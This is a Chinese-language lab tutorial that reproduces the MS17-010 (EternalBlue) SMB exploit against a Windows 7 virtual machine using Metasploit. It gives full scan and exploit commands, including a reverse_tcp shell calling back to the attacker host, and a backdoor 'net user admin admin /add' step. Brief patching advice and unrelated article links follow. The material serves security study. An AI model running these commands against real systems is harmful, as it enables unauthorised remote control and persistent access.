作者: susususuao

免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

一. 什么是永恒之蓝?

- 永恒之蓝

永恒之蓝(Eternal Blue)是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。而SMB服务是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。通过 SMB 协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机、邮件槽(mailslot)、命名管道等资源。而永恒之蓝则通过TCP端口(445)和(139)端口来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器里进行一系列的危险操作。 如远程控制木马,获取最高权限等。

- 危害

恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。影响版本可以参考MS17-010介绍

二. 复现MS17-010漏洞

1. 环境部署

  • 靶机 : Windows 7虚拟机 IP:192.168.5.139
  • 攻击机 :Kali-Linux-2021虚拟机 IP:192.168.5.133

2. 工具

这里就使用Kali自带的Metasploit工具。

MSF是一款高度模块化,即框架由多个module组成,是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。MSF涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。是全球最受欢迎的工具。

3. 开始复现

  • MS17-010漏洞是通过TCP端口445端进行远程代码执行的,所以我们在Kali先对Window 7进行Nmap扫描看看是否开启了445端口。
 # nmap -v 192.168.5.139     //进行端口信息扫描,发现445端口是开发中的。

  • 通过执行msfconsole指令进行启动
# msfconsole     //启动

  • 搜索ms17-010相关漏洞利用模块
msf6 > search  ms17_010  //搜索相关模块,其中下面框出的一个是辅助模块一个是攻击模块。

  • 进入auxiliary辅助模块,对 Window 7进行扫描,查看是否存在漏洞。
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.5.139     //这里直接输入靶机IP,不用输入所在网段。
rhosts => 192.168.5.0/24
msf6 auxiliary(scanner/smb/smb_ms17_010) > set threads 15 //设置线程,越大越快
threads => 15
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options //查看刚才设置有没有生成
msf6 auxiliary(scanner/smb/smb_ms17_010) > run //开始运行

这里说明192.168.5.139的主机存在该漏洞,所以我们可以对它进行攻击入侵。

  • 进行exploit攻击模块,配置相关参数开始入侵。
msf6 auxiliary(scanner/smb/smb_ms17_010) > back   //退出辅助模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue //进入攻击模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets //可以查看那些系统可以复现。
**设置漏洞利用完成后的反弹模块,用以接收回馈信息:**
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads //查看有哪些载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell //过滤出我们需要的载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp //使用这个载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.5.133 //设置反弹IP地址(Kali)
lhost => 192.168.5.133
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444 //设置反弹端口
lport => 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.5.139 //设置被攻击的目标主机IP(Window 7)
rhosts => 192.168.5.139
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options //查看是否设置成功
msf6 exploit(windows/smb/ms17_010_eternalblue) > run //运行

出现下面显示则说明已经入侵成功

  • 操控Windows 7
C:\Windows\system32>ipconfig  //我们会发现乱码
C:\Windows\system32>chcp 65001 //改变代码页(65001为UTF-8的代码页)
chcp 65001
Active code page: 65001
C:\Windows\system32>ipconfig //这回我们发现可以正常显示了
C:\Windows\system32>net user admin admin /add 创建admin用户,密码为admin。

更多相关用法可以在网上搜索,在这我就不罗列出来了!

三. MS17-010漏洞防范

这里我们知道MS17-010漏洞是利用SMB服务漏洞入侵的,而SMB服务使用的是TCP端口(445)和(139)端口,所以我们可以通过下面方法进行防范,在这我就不在演示了。

  1. 关闭不必要的端口,尤其是445端口。
  2. 打开防火墙,安装安全软件。
  3. 安装对应补丁。

四. 总结

为了维持操作系统的安全性,减少不必要的损失,我们要对操作系统及时进行更新系统,安装相关补丁,关闭不必要的服务和端口。

《MS17-010(永恒之蓝)—漏洞复现及防范》的更多相关文章

  1. 简单物联网:外网访问内网路由器下树莓派Flask服务器

    最近做一个小东西,大概过程就是想在教室,宿舍控制实验室的一些设备. 已经在树莓上搭了一个轻量的flask服务器,在实验室的路由器下,任何设备都是可以访问的:但是有一些限制条件,比如我想在宿舍控制我种花 ...

  2. 利用ssh反向代理以及autossh实现从外网连接内网服务器

    前言 最近遇到这样一个问题,我在实验室架设了一台服务器,给师弟或者小伙伴练习Linux用,然后平时在实验室这边直接连接是没有问题的,都是内网嘛.但是回到宿舍问题出来了,使用校园网的童鞋还是能连接上,使 ...

  3. 外网访问内网Docker容器

    外网访问内网Docker容器 本地安装了Docker容器,只能在局域网内访问,怎样从外网也能访问本地Docker容器? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动Docker容器 ...

  4. 外网访问内网SpringBoot

    外网访问内网SpringBoot 本地安装了SpringBoot,只能在局域网内访问,怎样从外网也能访问本地SpringBoot? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装Java 1 ...

  5. 外网访问内网Elasticsearch WEB

    外网访问内网Elasticsearch WEB 本地安装了Elasticsearch,只能在局域网内访问其WEB,怎样从外网也能访问本地Elasticsearch? 本文将介绍具体的实现步骤. 1. ...

  6. 怎样从外网访问内网Rails

    外网访问内网Rails 本地安装了Rails,只能在局域网内访问,怎样从外网也能访问本地Rails? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动Rails 默认安装的Rails端口 ...

  7. 怎样从外网访问内网Memcached数据库

    外网访问内网Memcached数据库 本地安装了Memcached数据库,只能在局域网内访问,怎样从外网也能访问本地Memcached数据库? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装 ...

  8. 怎样从外网访问内网CouchDB数据库

    外网访问内网CouchDB数据库 本地安装了CouchDB数据库,只能在局域网内访问,怎样从外网也能访问本地CouchDB数据库? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动Cou ...

  9. 怎样从外网访问内网DB2数据库

    外网访问内网DB2数据库 本地安装了DB2数据库,只能在局域网内访问,怎样从外网也能访问本地DB2数据库? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动DB2数据库 默认安装的DB2 ...

  10. 怎样从外网访问内网OpenLDAP数据库

    外网访问内网OpenLDAP数据库 本地安装了OpenLDAP数据库,只能在局域网内访问,怎样从外网也能访问本地OpenLDAP数据库? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动 ...

随机推荐

  1. 再谈回声消除测评丨Dev for Dev 专栏

    本文为「Dev for Dev 专栏」系列内容,作者为声网音视频实验室工程师 黄译庆. 音频质量的优化是一个复杂的系统工程,回声消除是其中一个老生常谈的话题,一般来说,回声消除的效果受设备本身的声学设 ...

  2. Monkey二次开发 -- Monkey jar包构建

      前面已经下载好了Android源码,可以在对应目录下构建二次开发后的monkey jar包了:   当前环境:Ubuntu16.04,Andorid10源码. 1.初始化环境   cd进入andr ...

  3. Containerd 入门基础操作

    Containerd 被 Docker.Kubernetes  CRI 和其他一些项目使用 Containerd 旨在轻松嵌入到更大的系统中.Docker 在后台使用 containerd来运行容器. ...

  4. 使用VScode进行Python开发

    一.Microsoft Store中安装:terminal 二.PowerShell中执行: [win10新版或者win11使用: 单个命令安装运行 WSL 所需的一切内容(需要重启计算机):wsl ...

  5. GitHub Pulse 是什么?它是否能衡量 OpenTiny 开源项目的健康程度?

    Pulse 是"脉搏"的意思,就像一个人要有脉搏才能算是一个活人,一个开源项目要有"脉搏"才能算是一个"活"的开源项目,这个单词非常形象地表 ...

  6. Java设计模式 —— 工厂模式

    3 简单工厂模式 3.1 创建型模式 Creational Pattern 关注对象的创建过程,对类的实例化过程进行了抽象,将软件模块中对象的创建和对象的使用分离,对用户隐藏了类的实例的创建细节.创建 ...

  7. JUC(七)分支合并框架

    JUC分支合并框架 简介 Fork/Join可以将一个大的任务拆分成多个子任务进行并行处理,最后将子任务的结果合并称为最终的计算结果. Fork:负责将任务拆分 Join:合并拆分任务 ForkJoi ...

  8. Kubernetes入门实践(ConfigMap/Secret)

    Kubernetes中用于管理配置信息的两种对象: ConfigMap和Secret,可使用它们来灵活地配置和定制应用.应用程序有很多类别的配置信息,从数据安全的角度看可分为明文配置和机密配置,明文配 ...

  9. [操作系统] - 进程状态&进程描述

    2.1 进程(Process) 2.1.1 定义 chatGPT版:一个具有独立功能的程序关于某个数据集合的一次运行活动 人话版:程序在并发环境中的执行过程& 进程是程序的一次执行 2.1.2 ...

  10. DevOps、SRE、平台工程的区别

    DevOps.SRE和平台工程的概念在不同时期出现,并由不同的个人和组织开发. DevOps作为一个概念是由Patrick Debois和Andrew Shafer在2009年的敏捷会议上提出的.他们 ...